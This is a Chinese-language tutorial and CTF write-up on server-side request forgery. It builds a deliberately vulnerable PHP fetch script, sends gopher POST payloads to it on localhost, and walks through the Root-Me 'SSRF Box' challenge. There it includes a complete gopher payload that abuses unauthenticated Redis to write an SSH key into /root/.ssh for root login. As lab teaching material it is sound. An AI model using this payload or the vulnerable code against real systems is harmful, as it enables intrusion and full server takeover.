20200424

1.SSRF测试方法

1.1 漏洞环境:PHP脚本、Windows

1.2 利用工具:nc、bash

1.3 测试过程

首先采用如下脚本创建一个PHP的服务端:

<?PHP $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); curl_close($ch); ?>

在PHPStudy的WWW目录下新建一个ssrf.php的文本文档,将上面这段PHP脚本复制粘贴到里面并保存

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_php

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_java ssrf靶场_02

开启PHPStudy的web服务:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_php_03

然后下载并在cmd中打开nc.exe监听软件

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_php_04

输入命令:nc.exe -lvvp 2233,此时nc进入监听状态:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_redis_05

然后从浏览器中访问如下链接: http://localhost/ssrf.php?url=http://127.0.0.1:2233

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_redis_06

然后就可以看到nc监听到了版本信息,监听端可以看到来自localhost的请求,请求目标为127.0.0.1的2233端口。:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_java ssrf靶场_07

使用gopher协议来查看协议,访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_test

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_PHP_08

利用gopher发送POST的请求,访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_php_09

再看nc监听到了账号和密码:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_PHP_10

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_PHP_11

2. 实战演示2.1 漏洞环境

Rootme CTF all the day2.2 漏洞地址

https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/2.3 利用工具

Burp2.4 漏洞介绍

SSRF+redis 获取内网主机权限,利用SSRF来对redis的未授权访问执行命令。从而达到获取主机权限的目的2.5 测试过程

访问目标地址,如果没有账号,需要创建账号点击右上的绿色小加号来创建账号,创建完成后回到此页面。

注意:在创建账号时需要一个邮箱,这里建议使用临时邮箱,最好不要填自己的真实邮箱(因为进这些黑客网站别留下真实信息,防止自己的信息日后被别人利用)

申请临时邮箱的网址:http://24mail.chacuo.net/

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_PHP_12

申请好邮箱ID后,手动刷新,过一会儿就会收到一封邮件,点击邮件进入:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_java ssrf靶场_13

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_redis_14

找到一个处于none的虚拟机,点击房间名,如下的ctf04

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_java ssrf靶场_15

进入房间后,选择需要创建的虚拟机,选择SSRF Box,点击保存,选择start the game:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_redis_16

过一段时间的等待后,会显示如下信息。

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_PHP_17

访问 ctf04.root-me.org 就可以看到启动的虚拟环境了

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_redis_18

当然,如果在创建虚拟机之前,看到其他的房间有人已经创建了SSRF Box我们也可以加入此玩家的房间,点击房间名,进入房间后点击右上角的Join the game。稍等片刻就可以加入到游戏中,根据提示访问对应的地址就可以开始测试啦。

访问地址后可以看到页面显示一个输入框,需要输入url参数,开始抓包。

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_php_19

尝试在页面输入百度地址https://www.baidu.com后,页面会把百度首页加载进此页面中。

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_redis_20

读取系统文件:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_java ssrf靶场_21

使用burp的Intruder模块,来探测开放的服务端口,开放则显示OK,不开放则显示Connection refused。

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_java ssrf靶场_22

探测可知内网开放了6379端口redis服务,尝试利用SSRF对redis执行未授权漏洞,此处简单科普一下redis漏洞影响。
详细内容可以查看文章:https://www.freebuf.com/vuls/162035.html
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
因此,此漏洞在没有配置密码的情况下可以利用SSRF来绕过绑定在本地的限制,从而实现在外网攻击内网应用。

1)利用redis来写ssh密钥

此处利用ssh生成一对公私钥,生成的默认文件为id_rsa.pub和id_rsa。把id_rsa.pub上传至服务器即可。我们利用redis把目录设置为ssh目录下:
根据网上写密钥有两种协议可以使用,一种是dict,一种是gopher。测试使用dict协议写不成功,写入后不能连接,此处使用gopher写密钥。
使用的payload为:
gopher://127.0.0.1:6379/_3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i…2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

payload由joychou的反弹shell修改而来,主要就是替换了写入文件的位置和文件内容。然后修改文件的长度。

先使用命令ssh-keygen,生成ssh密钥对:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_redis_23

找到刚刚生成的ssh密钥对文件:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_java ssrf靶场_24

打开id_rsa.pub文件:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_php_25

修改上面的payload代码–

1.原始未修改的:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_redis_26

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_php_27

2.复制刚刚在cmd中通过ssh-keygen生成的密钥:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_redis_28

3.替换掉gopher代码中框住的代码:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_PHP_29

4.然后复制替换后的整段代码粘贴到靶场的搜索框中:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_PHP_30

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_PHP_31

再按下enter回车键

然后回到cmd窗口,然后输入如下的命令,尝试登录,最后登录成功,获得了root权限:

java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_php_32


java ssrf靶场 如何搭建ssrf漏洞的ctf靶场_redis_33